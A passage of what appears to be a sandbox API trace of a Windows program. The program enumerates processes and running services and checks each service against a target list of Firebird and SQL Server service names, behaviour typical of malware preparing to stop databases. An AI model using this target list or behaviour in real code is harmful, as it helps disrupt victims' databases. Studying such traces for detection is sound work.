lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0282.879] lstrlenW (lpString="cmd.exe") returned 7 [0282.879] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0282.880] lstrlenW (lpString="conhost.exe") returned 11 [0282.880] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0282.880] lstrlenW (lpString="cmd.exe") returned 7 [0282.880] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0282.881] lstrlenW (lpString="conhost.exe") returned 11 [0282.881] Process32NextW (in: hSnapshot=0x2ac, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0282.882] CloseHandle (hObject=0x2ac) returned 1 [0282.882] Sleep (dwMilliseconds=0x1f4) [0283.533] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x51db48 [0283.534] EnumServicesStatusExW (in: hSCManager=0x51db48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0) returned 0 [0283.534] GetLastError () returned 0xea [0283.534] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1ca4) returned 0x5cf190 [0283.534] EnumServicesStatusExW (in: hSCManager=0x51db48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5cf190, cbBufSize=0x1ca4, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5cf190, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0) returned 1 [0283.535] CloseServiceHandle (hSCObject=0x51db48) returned 1 [0283.536] lstrlenW (lpString="Appinfo") returned 7 [0283.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0283.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0283.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0283.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0283.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0283.536] lstrlenW (lpString="AppXSvc") returned 7 [0283.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0283.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0283.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0283.536] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0283.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0283.536] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0283.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0283.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0283.536] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0283.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0283.536] lstrlenW (lpString="Audiosrv") returned 8 [0283.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0283.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0283.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0283.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0283.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0283.537] lstrlenW (lpString="BFE") returned 3 [0283.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0283.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0283.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0283.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0283.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0283.537] lstrlenW (lpString="BITS") returned 4 [0283.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0283.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0283.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0283.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0283.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0283.537] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0283.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0283.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0283.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0283.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0283.537] lstrlenW (lpString="CDPSvc") returned 6 [0283.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0283.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0283.537] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0283.537] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0283.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0283.538] lstrlenW (lpString="ClickToRunSvc") returned 13 [0283.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0283.538] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0283.538] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0283.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0283.538] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0283.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0283.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0283.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0283.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0283.538] lstrlenW (lpString="CryptSvc") returned 8 [0283.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0283.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0283.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0283.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0283.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0283.538] lstrlenW (lpString="DcomLaunch") returned 10 [0283.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0283.538] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0283.538] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0283.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0283.538] lstrlenW (lpString="DeviceAssociationService") returned 24 [0283.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0283.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0283.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0283.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0283.539] lstrlenW (lpString="Dhcp") returned 4 [0283.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0283.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0283.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0283.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0283.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0283.539] lstrlenW (lpString="Dnscache") returned 8 [0283.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0283.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0283.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0283.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0283.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0283.539] lstrlenW (lpString="DPS") returned 3 [0283.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0283.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0283.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0283.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0283.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0283.539] lstrlenW (lpString="DusmSvc") returned 7 [0283.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0283.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0283.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0283.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0283.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0283.540] lstrlenW (lpString="EventLog") returned 8 [0283.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0283.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0283.540] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0283.540] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0283.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0283.540] lstrlenW (lpString="EventSystem") returned 11 [0283.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0283.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0283.540] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0283.540] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0283.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0283.540] lstrlenW (lpString="FontCache") returned 9 [0283.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0283.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0283.540] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0283.540] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0283.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0283.540] lstrlenW (lpString="gpsvc") returned 5 [0283.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0283.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0283.540] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0283.540] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0283.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0283.540] lstrlenW (lpString="iphlpsvc") returned 8 [0283.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0283.541] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0283.541] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0283.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0283.541] lstrlenW (lpString="KeyIso") returned 6 [0283.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0283.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0283.541] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0283.541] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0283.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0283.541] lstrlenW (lpString="LanmanServer") returned 12 [0283.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0283.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0283.541] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0283.541] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0283.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0283.541] lstrlenW (lpString="LanmanWorkstation") returned 17 [0283.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0283.541] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0283.541] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0283.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0283.541] lstrlenW (lpString="lfsvc") returned 5 [0283.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0283.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0283.541] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0283.541] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0283.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0283.542] lstrlenW (lpString="lmhosts") returned 7 [0283.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0283.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0283.542] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0283.542] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0283.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0283.542] lstrlenW (lpString="LSM") returned 3 [0283.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0283.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0283.542] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0283.542] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0283.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0283.542] lstrlenW (lpString="MpsSvc") returned 6 [0283.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0283.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0283.542] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0283.542] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0283.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0283.542] lstrlenW (lpString="NcbService") returned 10 [0283.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0283.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0283.542] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0283.542] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0283.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0283.542] lstrlenW (lpString="netprofm") returned 8 [0283.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0283.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0283.543] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0283.543] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0283.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0283.543] lstrlenW (lpString="NgcSvc") returned 6 [0283.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0283.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0283.543] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0283.543] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0283.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0283.543] lstrlenW (lpString="NlaSvc") returned 6 [0283.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0283.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0283.543] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0283.543] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0283.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0283.543] lstrlenW (lpString="nsi") returned 3 [0283.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0283.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0283.543] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0283.543] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0283.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0283.543] lstrlenW (lpString="PcaSvc") returned 6 [0283.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0283.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0283.543] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0283.543] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0283.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0283.544] lstrlenW (lpString="PlugPlay") returned 8 [0283.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0283.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0283.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0283.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0283.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0283.544] lstrlenW (lpString="Power") returned 5 [0283.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0283.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0283.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0283.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0283.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0283.544] lstrlenW (lpString="ProfSvc") returned 7 [0283.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0283.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0283.544] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0283.544] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0283.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0283.544] lstrlenW (lpString="RpcEptMapper") returned 12 [0283.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0283.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0283.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0283.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0283.544] lstrlenW (lpString="RpcSs") returned 5 [0283.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0283.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0283.545] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0283.545] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0283.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0283.545] lstrlenW (lpString="SamSs") returned 5 [0283.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0283.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0283.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0283.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0283.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0283.545] lstrlenW (lpString="Schedule") returned 8 [0283.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0283.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0283.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0283.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0283.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0283.545] lstrlenW (lpString="SecurityHealthService") returned 21 [0283.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0283.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0283.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0283.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0283.545] lstrlenW (lpString="SENS") returned 4 [0283.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0283.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0283.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0283.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0283.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0283.546] lstrlenW (lpString="ShellHWDetection") returned 16 [0283.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0283.546] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0283.546] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0283.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0283.546] lstrlenW (lpString="Spooler") returned 7 [0283.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0283.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0283.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0283.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0283.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0283.546] lstrlenW (lpString="SSDPSRV") returned 7 [0283.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0283.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0283.546] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0283.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0283.546] lstrlenW (lpString="StateRepository") returned 15 [0283.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0283.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0283.546] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0283.546] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0283.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0283.546] lstrlenW (lpString="SysMain") returned 7 [0283.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0283.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0283.546] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0283.547] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0283.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0283.547] lstrlenW (lpString="SystemEventsBroker") returned 18 [0283.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0283.547] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0283.547] lstrcmpiW 